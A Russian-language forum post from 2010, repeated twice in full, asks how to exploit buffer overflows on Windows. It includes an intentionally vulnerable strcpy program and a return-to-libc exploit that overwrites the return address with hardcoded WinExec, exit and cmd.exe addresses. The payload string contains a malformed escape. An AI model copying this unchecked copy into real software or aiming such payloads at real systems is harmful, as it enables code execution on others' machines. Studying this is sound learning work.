kRa$I-I
28.04.2010, 21:53
Добрый вечер!
Помогите разобраться с переполнением буфера. Я много статей находил на разных форумах, но остались некоторые вопросы.
Есть следующий кусок кода:
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
char buf[30]; // Переполняемый буфер
strcpy(buf,argv[1]);
printf("argv = %s\n\n", buf);
return 0;
}
Написал следующий exploit:
#include <stdio.h>
#include <windows.h>
int main()
{
// 0x6FFAB16F //----->WinExec(); 0x77E6E695 0x775FE695
// 0x6FF636AA //----->exit(); 0x6E37B9D0 0x77BC64F4
// 0x770F03B0 //----->cmd.exe 0x7762F814
char exec[1000]="vuln1.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAFFFF\x95\xE6\x5F\x77\x F4\x64\xBC\x77\x14\xF8\x62\x77";
system(exec);
return 0;
}
Идея была проста затереть адрес возврата адресом WinExec. Дизассемблировав Kernel32 нашел базовый адрес этой ф-ии (1 в комменте), а вот олька показала что при загрузки dll в память адреса слегка отличаются, ну да черт с ними. Эксплоит заработал, но до ближайшей перезагрузки, потом адреса опять сменились.
Вопрос какие техники передачи управления на свой код существуют и актуальны (желательно на примере)?
ВСЕМ ЗАРЕНЕЕ ОГРОМНОЕ СПАСИБО
Помогите разобраться с переполнением буфера. Я много статей находил на разных форумах, но остались некоторые вопросы.
Есть следующий кусок кода:
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
char buf[30]; // Переполняемый буфер
strcpy(buf,argv[1]);
printf("argv = %s\n\n", buf);
return 0;
}
Написал следующий exploit:
#include <stdio.h>
#include <windows.h>
int main()
{
// 0x6FFAB16F //----->WinExec(); 0x77E6E695 0x775FE695
// 0x6FF636AA //----->exit(); 0x6E37B9D0 0x77BC64F4
// 0x770F03B0 //----->cmd.exe 0x7762F814
char exec[1000]="vuln1.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAFFFF\x95\xE6\x5F\x77\x F4\x64\xBC\x77\x14\xF8\x62\x77";
system(exec);
return 0;
}
Идея была проста затереть адрес возврата адресом WinExec. Дизассемблировав Kernel32 нашел базовый адрес этой ф-ии (1 в комменте), а вот олька показала что при загрузки dll в память адреса слегка отличаются, ну да черт с ними. Эксплоит заработал, но до ближайшей перезагрузки, потом адреса опять сменились.
Вопрос какие техники передачи управления на свой код существуют и актуальны (желательно на примере)?
ВСЕМ ЗАРЕНЕЕ ОГРОМНОЕ СПАСИБО